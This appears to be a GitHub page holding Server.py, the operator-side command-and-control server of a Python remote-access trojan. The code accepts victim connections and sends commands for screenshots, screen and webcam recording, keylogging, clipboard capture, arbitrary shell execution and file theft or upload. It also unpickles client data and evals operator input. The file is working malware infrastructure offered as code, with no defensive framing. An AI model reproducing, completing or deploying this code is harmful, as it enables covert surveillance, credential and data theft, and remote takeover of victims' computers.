-
Notifications
You must be signed in to change notification settings - Fork 0
/
Server.py
370 lines (309 loc) · 14.5 KB
/
Server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
problems = r"""
1. LiveStreaming doesn't work (Screen and WebCam)
"""
import os
import json
import pickle
import cv2
from socket import socket, AF_INET, SOCK_STREAM, gethostbyname, gethostname
from threading import Thread
import time
class Server:
def __init__(self):
if not os.path.exists('Clients'): os.mkdir('Clients')
self.getConstants()
self.header = self.constants['headerSize']
self.address = (self.constants["server"], self.constants["port"])
self.format = self.constants['format']
self.buffer = self.constants['bufferSize']
self.options = [
"ScreenShot",
"ScreenRecording",
"WebCamRecording",
"SystemInformation",
"KeyLogger",
"ClipBoardCopying",
"ExecuteInTerminal",
"GetFile",
"SendFile",
"MailFile",
"Quit"
]
# Thread(target=self.initializeServer).start()
self.initializeServer()
def getConstants(self):
with open(r'C:\Ishaan\Programming\Python\Trojan\Constants.json') as file:
data = json.load(file)
self.constants = data["FTP"]
# self.constants = {
# "disconnectMessage": "!DISCONNECT",
# "headerSize": 16,
# "server": gethostbyname(gethostname()),
# "port": 5050,
# "format": "utf-8",
# "bufferSize": 64
# }
def initializeServer(self):
self.server = socket(AF_INET, SOCK_STREAM)
self.server.bind(self.address)
self.server.listen()
self.clients = {}
self.debug = True
if self.debug: print(f'[LISTENING]: server is listening on {self.constants["server"]}')
while True:
client, address = self.server.accept()
Thread(target=self.recieve, args=(client, address)).start()
Thread(target=self.takeCommand).start()
def send(self, client, msgType, message):
message = pickle.dumps((msgType, message))
header = f"{len(message):<{self.header}}".encode(self.format)
try: client.send(header + message)
except: pass
# def chooseAction(self):
# for i in range(len(self.options)):
# print(i+1, self.options[i])
# while True:
# choice = input('>>>\t')
# if not choice: continue
# try:
# choice = int(choice)
# choice = self.options[choice-1]
# print(choice)
# return choice
# except: print('Error')
# def chooseTarget(self):
# while True:
# try: targetList = [(key, value) for key, value in self.clients.items()]
# except RuntimeError: continue
# except: pass
# else: break
# if len(targetList) == 0:
# # print('No Target Available')
# return None
# elif len(targetList) == 1:
# return (targetList[0][1][0],)
# else:
# for index, item in enumerate(targetList): print(f'\t{index}.\t{item[0]}\t\t(<{index}>)')
# while True:
# try:
# choice = input('>>>\t').strip().split()
# choice = [i.lstrip('<').rstrip('>') for i in choice]
# choice = [targetList.get(i)[1][0] for i in choice]
# choice = [i[1][0] for i in choice if i]
# return choice
# except: print('Error')
# def takeCommand(self):
# while True:
# if not self.clients: continue
# targets = self.chooseTarget()
# if not targets: continue
# action = self.chooseAction()
# params = None
# msgType = 'COMMAND'
# if action == 'Quit':
# for target in targets: self.send(target, 'UPDATE', self.constants['disconnectMessage'])
# elif action in ('ScreenShot', 'SystemInformation'):
# for target in targets:
# self.send(target, 'COMMAND', action)
# else:
# if action in ('ScreenRecording', 'WebCamRecording', 'ClipBoardCopying'):
# while True:
# try: duration = int(input(f'Please Enter the duration for {action} in seconds\t'))
# except: continue
# else: break
# params = (duration,)
# if action in ('ScreenRecording', 'WebCamRecording'):
# while True:
# try: isLive = bool(int(input('Do you want Live Feed?, Press 1 for Yes and 0 for No\t')))
# except: continue
# else: break
# params = (params[0], isLive)
# if action == 'WebCamRecording':
# while True:
# try: source = int(input('Please enter the source number for WebCamRecording\t'))
# except: continue
# else: break
# params = (params[0], source, params[1])
# if action == 'ClipBoardCopying':
# params = params[0]
# elif action == 'KeyLogger':
# while True:
# try: running = bool(int(input('Do you want to turn KeyLogger on or off, Press 1 for On and 0 for Off\t')))
# except: continue
# else: break
# params = running
# elif action == 'ExecuteInTerminal':
# command = ''
# while not command: command = input('Command >>>\t')
# params = command
# elif action in ('SendFile', 'MailFile'):
# fileName = input('What do you want the file to be named?\t')
# while not fileName: fileName = input('What do you want the file to be named?\t')
# path = input('The path of the file you wish to send is:\t')
# while not os.path.exists(path):
# print('The path does not exist')
# path = input('The path of the file you wish to send is:\t')
# params = (fileName, path)
# if action == 'GetFile':
# fileName = input('What do you want the file to be named in Target Machine?\t')
# while not fileName: fileName = input('What do you want the file to be named in Target Machine?\t')
# path = input('The path of the file you wish to save to in Target Machine is:\t')
# while not path: path = input('The path of the file you wish to save to in Target Machine is:\t')
# filePath = input('The path of the file you wish to send is:\t')
# while not os.path.exists(filePath):
# print('The path does not exist')
# filePath = input('The path of the file you wish to send is:\t')
# with open(filePath, 'rb') as file:
# data = file.read()
# msgType = 'FILE'
# params = (fileName, path, data)
# for target in targets: self.send(target, msgType, (action, params))
# def takeCommand(self):
# while True:
# try:
# command = input('>>> ')
# if command:
# command = command.split('>>')
# client = self.clients[command[0]][0]
# command[1] = eval(command[1])
# if command[1] == 0: self.send(client, 'COMMAND', ('ScreenRecording', (10, False)))
# elif command[1] == 1: self.send(client, 'COMMAND', ('WebCamRecording', (10, 0, False)))
# else: self.send(client, 'COMMAND', command[1])
# except:
# continue
def takeCommand(self):
while True:
args = {
'duration': 5,
'liveStream': False,
'webCamSource': 0,
'runKeyLogger': False,
'command': '',
'fileName': 'fileName.ext',
'pathOfFile': '',
'filePath': ''
}
command = input('>>> ')
if not command: continue
try:
if '--target' not in command:
print('No Target in command')
continue
if '--action' not in command:
print('No action in command')
continue
command = [i.strip() for i in command.split('--') if i.strip()]
for i in command:
i = i.split()
value = ' '.join(i[1:])
key = i[0]
if key in ('duration', 'liveStream', 'webcamSource', 'runKeyLogger'):
value = eval(value)
args[key] = value
self.sendCommand(args)
except: pass
def sendCommand(self, args):
if not self.clients:
print('The Server is NOT taking commands as it does not have any clients')
return
target = self.clients.get(args['target'])
if not target:
print('requested Client NOT available')
return
target = target[0]
action = args['action']
if action not in self.options:
print('requested Action NOT available')
return None
try:
if action == 'Quit':
return self.send(target, 'UPDATE', self.constants['disconnectMessage'])
elif action in ('ScreenShot', 'SystemInformation'):
return self.send(target, 'COMMAND', action)
elif action == 'ScreenRecording':
if not args['duration']: return None
return self.send(target, 'COMMAND', (action, (args['duration'], args['liveStream'])))
elif action == 'WebCamRecording':
if not args['duration']: return None
return self.send(target, 'COMMAND', (action, (args['duration'], args['webCamSource'], args['liveStream'])))
elif action == 'ClipBoardCopying':
if not args['duration']: return None
return self.send(target, 'COMMAND', (action, args['duration']))
elif action == 'KeyLogger':
return self.send(target, 'COMMAND', (action, args['runKeyLogger']))
elif action == 'ExecuteInTerminal':
if not args['command']: return None
return self.send(target, 'COMMAND', (action, args['command']))
elif action in ('SendFile', 'MailFile'):
if (not args['pathOfFile']) and args['filePath']:
args['filePath'], args['pathOfFile'] = args['pathOfFile'], args['filePath']
return self.send(target, 'COMMAND', (action, (args['fileName'], args['pathOfFile'])))
elif action == 'GetFile':
if not os.path.exists(args['filePath']):
print('The path does not exist')
return None
with open(args['filePath'], 'rb') as file:
data = file.read()
self.send(target, 'FILE', (action, (args['fileName'], args['pathOfFile'], data)))
except: pass
def recieve(self, client, address):
print(f'[CONNECTION]:\t{address} connected')
while True:
try:
try:
temp = client.recv(self.header)
temp = temp.decode(self.format)
msgLength = int(temp)
except: continue
if not msgLength: continue
message = b''
while msgLength > self.buffer:
message += client.recv(self.buffer)
msgLength -= self.buffer
message += client.recv(msgLength)
msgType, message = pickle.loads(message)
if msgType == 'UPDATE' and message == self.constants['disconnectMessage']:
for name in self.clients.keys():
if self.clients[name][0] == client:
removedName = name
break
del self.clients[removedName]
print(f'Client {removedName}{address} DISCONNECTED')
client.close()
break
self.handleClient(client, address, msgType, message)
except (ConnectionResetError, OSError): break
except: continue
def handleClient(self, client, address, msgType, message):
# print(msgType)
if msgType == 'NAME':
name = input(f'The name for {address} is:\n(Leave Blank for {message})')
name = name if name else message
self.clients.update({name: (client, address)})
elif msgType == 'PING':
self.send(client, 'PING', message)
# print('PING')
elif msgType == 'FILE':
fileName, data = message
path = os.path.join(os.getcwd(), 'Clients')
if not os.path.exists(path): os.mkdir('Clients')
path = os.path.join(path, fileName)
counter = 0
while os.path.exists(path):
counter += 1
path = path.split('.')
path = '.'.join(path[:-1]) + f'({counter}).' + path[-1]
with open(path, 'wb') as file:
file.write(data)
if self.debug: print(fileName, 'recieved')
elif msgType == 'STREAM':
cv2.imshow('stream', message)
if cv2.waitKey(0) & 0xFF == ord('q'):
cv2.destroyAllWindows()
return
elif msgType == 'UPDATE' and message == 'EndOfStream': cv2.destroyAllWindows()
elif msgType in ('OUTPUT', 'ERROR', 'UPDATE'):
print("="*20, f'{msgType}:\n{message}', "="*20, sep='\n')
else:
print(f'[{msgType}]', message, sep='\t')
if __name__ == '__main__': s = Server()